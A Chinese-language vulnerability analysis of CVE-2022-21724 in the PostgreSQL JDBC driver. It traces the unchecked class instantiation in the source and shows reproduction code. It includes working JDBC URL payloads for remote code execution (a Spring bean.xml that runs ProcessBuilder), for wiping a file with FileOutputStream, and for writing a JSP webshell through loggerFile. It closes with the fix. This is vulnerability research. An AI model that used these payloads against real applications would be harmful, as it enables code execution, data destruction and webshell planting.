PostgreSQL

PostgreSQL JDBC(CVE-2022-21724)

漏洞简介

在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassNamesslhostnameverifiersocketFactorysslfactorysslpasswordcallback 连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。

影响范围:

1
2
  9.4.1208 <=PgJDBC <42.2.25
  42.3.0 <=PgJDBC < 42.3.2

漏洞复现

添加依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>

编写测试代码

1
2
3
4
5
6
7
8
9
10
11
12
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class sql {
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}

bean.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>

任意代码执行 socketFactory/socketFactoryArg

org.postgresql.Driver#connect⽅法最后调⽤了makeConnection⽅法,⽅法实例化了⼀个PgConnection对象

1
2
3
private static Connection makeConnection(String url, Properties props) throws SQLException {
return new PgConnection(hostSpecs(props), user(props), database(props), props, url);
}

跟进这个对象的构造⽅法,其中会调⽤ConnectionFactory.openConnection⽅法

1
this.queryExecutor = ConnectionFactory.openConnection(hostSpecs, user, database, info);

跟进openConnection⽅法,会实例化⼀个ConnectionFactoryImpl,然后调⽤它的openConnectionImpl⽅法

1
2
ConnectionFactory connectionFactory = new ConnectionFactoryImpl();
QueryExecutor queryExecutor = connectionFactory.openConnectionImpl(hostSpecs, user, database, info);

调⽤了SocketFactoryFactory.getSocketFactory⽅法

1
SocketFactory socketFactory = SocketFactoryFactory.getSocketFactory(info);

跟进getSocketFactory⽅法

1
2
3
4
5
6
7
8
9
10
11
12
public static SocketFactory getSocketFactory(Properties info) throws PSQLException {
String socketFactoryClassName = PGProperty.SOCKET_FACTORY.get(info);
if (socketFactoryClassName == null) {
return SocketFactory.getDefault();
} else {
try {
return (SocketFactory)ObjectFactory.instantiate(socketFactoryClassName, info, true, PGProperty.SOCKET_FACTORY_ARG.get(info));
} catch (Exception var3) {
throw new PSQLException(GT.tr("The SocketFactory class provided {0} could not be instantiated.", new Object[]{socketFactoryClassName}), PSQLState.CONNECTION_FAILURE, var3);
}
}
}

⾸先是socketFactoryClassName的获取,在info中获取socketFactory的值,默认值为nul

其中info记录着扩展信息,host,数据库名,port等信息,那么可以通过扩展参数设置socketFactory的值

我们需要设置socketFactory不为空,以利⽤ObjectFactory.instantiate⽅法,跟进这个⽅法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
    public static Object instantiate(String classname, Properties info, boolean tryString, String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException, IllegalArgumentException, InstantiationException, IllegalAccessException, InvocationTargetException {
Object[] args = new Object[]{info};
Constructor<?> ctor = null;
Class<?> cls = Class.forName(classname);

try {
ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException var9) {
}

if (tryString && ctor == null) {
try {
ctor = cls.getConstructor(String.class);
args = new String[]{stringarg};
} catch (NoSuchMethodException var8) {
}
}

if (ctor == null) {
ctor = cls.getConstructor();
args = new Object[0];
}

return ctor.newInstance((Object[])args);
}
}

这⾥会通过反射实例化classname类名 ,而这里传入的是我们可控的socketFactory

这⾥tryString为true,我留意到中间的if语句,其中stringarg也可以通过扩展参数进⾏控制,传入的是

1
PGProperty.SOCKET_FACTORY_ARG.get(info)

跟进这个发现,从get()

1
SOCKET_FACTORY_ARG("socketFactoryArg", (String)null, "Argument forwarded to constructor of SocketFactory class."),

问题就在于我们要实例化哪个类呢?这个类⼜能对web应⽤造成伤害,需要这个类的构造⽅法只有⼀个参数,⽽且参数类型为String

  • java.io.FileOutputStream类

    对应构造⽅法

    1
    2
    3
    public FileOutputStream(String name) throws FileNotFoundException {
    this(name != null ? new File(name) : null, false);
    }

    如果指定的⽂件已经存在,并且append设置为false,则⽂件的内容将被清空,并写⼊新的数据。 那么可以利⽤这个类清空⽂件内容

    payload

    1
    jdbc:postgresql://localhost:5432/baicany?socketFactory=java.io.FileOutputStream&socketFactoryArg=/Users/baicany/Desktop/baicany
  • org.springframework.context.support.ClassPathXmlApplicationContext类
    实例化ClassPathXmlApplicationContext类,可以加载并解析classpath下指定的XML配置⽂件,从⽽创建⼀个包含所有配置的应 ⽤上下⽂。

1
2
3
public ClassPathXmlApplicationContext(String configLocation) throws BeansException {
this(new String[]{configLocation}, true, (ApplicationContext)null);
}

调用另外一个重载方法

1
2
3
4
5
6
7
8
public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, @Nullable ApplicationContext parent) throws BeansException {
super(parent);
this.setConfigLocations(configLocations);
if (refresh) {
this.refresh();
}

}

在refresh⽅法中,会调⽤obtainFreshBeanFactory⽅法,该⽅法内⼜会调⽤refreshBeanFactory⽅法

1
2
3
4
protected ConfigurableListableBeanFactory obtainFreshBeanFactory() {
this.refreshBeanFactory();
return this.getBeanFactory();
}

跟进refreshBeanFactory

1
2
3
4
5
6
7
try {
DefaultListableBeanFactory beanFactory = this.createBeanFactory();
beanFactory.setSerializationId(this.getId());
this.customizeBeanFactory(beanFactory);
this.loadBeanDefinitions(beanFactory);
this.beanFactory = beanFactory;
}

调⽤loadBeanDefinitions⽅法,会⼀直调⽤到AbstractXmlApplicationContext#loadBeanDefinitions⽅法

1
2
3
4
5
6
7
8
9
10
11
12
protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException {
Resource[] configResources = this.getConfigResources();
if (configResources != null) {
reader.loadBeanDefinitions(configResources);
}

String[] configLocations = this.getConfigLocations();
if (configLocations != null) {
reader.loadBeanDefinitions(configLocations);
}

}

configResources默认为空,那么会获取ConfigLocations作为classpath去加载并且解析xml

那么需要⼀个恶意xml⽂件,poc通过SpEL表达式来造成RCE

任意代码执⾏ sslfactory/sslfactoryarg

回到ConnectionFactoryImpl#openConnectionImpl⽅法,除了调⽤SocketFactoryFactory.getSocketFactory⽅法,还调⽤了 tryConnect⽅法可以利⽤(主要关注info的出处,数据可控)

1
newStream = this.tryConnect(user, database, info, socketFactory, hostSpec, sslMode, gssEncMode);

跟进tryConnect方法

1
2
3
if (!newStream.isGssEncrypted()) {
newStream = this.enableSSL(newStream, sslMode, info, connectTimeout);
}

默认isGssEncrypted⽅法返回为false,调⽤了enableSSL⽅法 在enableSSL⽅法找到info出处

1
2
3
4
5
6
7
8
9
int beresp = pgStream.receiveChar();
switch (beresp) {
...
case 83:
LOGGER.log(Level.FINEST, " <=BE SSLOk");
MakeSSL.convert(pgStream, info);
return pgStream;
...
}

进⼊对应switch case语句还需通过pgStream.receiveChar⽅法判断,需要响应的第⼀个字⺟为S

那么就会调⽤org.postgresql.ssl.MakeSSL.convert⽅法,⽅法中调⽤了SocketFactoryFactory.getSslSocketFactory⽅法

1
SSLSocketFactory factory = SocketFactoryFactory.getSslSocketFactory(info);

在getSslSocketFactory⽅法中,同样调⽤了ObjectFactory.instantiate⽅法进⾏实例化类

和上面差不多

1
SocketFactory socketFactory = SocketFactoryFactory.getSocketFactory(info);

由sslfactory和sslfactoryarg两个扩展参数传递

payload:

1
jdbc:postgresql://localhost:1234/baicany?sslfactory=org.springframework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://127.0.0.1:8080/bean.xml

现在需要解决PostgreSQL响应的第⼀个字⺟为S

开启⼀个监听

1
nc -l -p 1234

向监听端⼝发起jdbc请求,此时程序发⽣阻塞,键⼊S后,将成功代码执⾏

任意⽂件写⼊ loggerLevel/loggerFile

在org.postgresql.Driver#connect⽅法下,在执⾏makeConnection⽅法前,还会调⽤setupLoggerFromProperties⽅法

1
2
String driverLogLevel = PGProperty.LOGGER_LEVEL.get(props);
if (driverLogLevel != null) {

想要继续往下调⽤,需要driverLogLevel不为null

1
LOGGER_LEVEL("loggerLevel", (String)null, "Logger level of the driver", false, new String[]{"OFF", "DEBUG", "TRACE"}),

默认为null,可以通过扩展参数修改

1
loggerLevel=DEBUG

继续往下发现

1
2
String driverLogFile = PGProperty.LOGGER_FILE.get(exprProps);
if (driverLogFile == null || !driverLogFile.equals(loggerHandlerFile)) {

需要driverLogFile不为空,才行

表⽰⽇志⽂件的保存位置,LOGGER.log⽅法能向⽇志⽂件写⼊信息

利⽤这个思路可做JSP WebShell,将JSP恶意代码添加进URL中,然后⼀起写进⽂件中

exp:

1
jdbc:postgresql://localhost:5432/baicany?loggerLevel=DEBUG&loggerFile=/Users/baicany/Desktop/baicany.jsp&shellcode

漏洞修复

针对代码执行的漏洞而言,要求获取的类名必须是指定类的子类,否则就抛出异常

image-20231029230416814

对于任意⽂件写⼊⽽⾔,⾼版本中移除了对⽇志⽂件的设定操作 setupLoggerFromProperties(props);

image-20231029230431095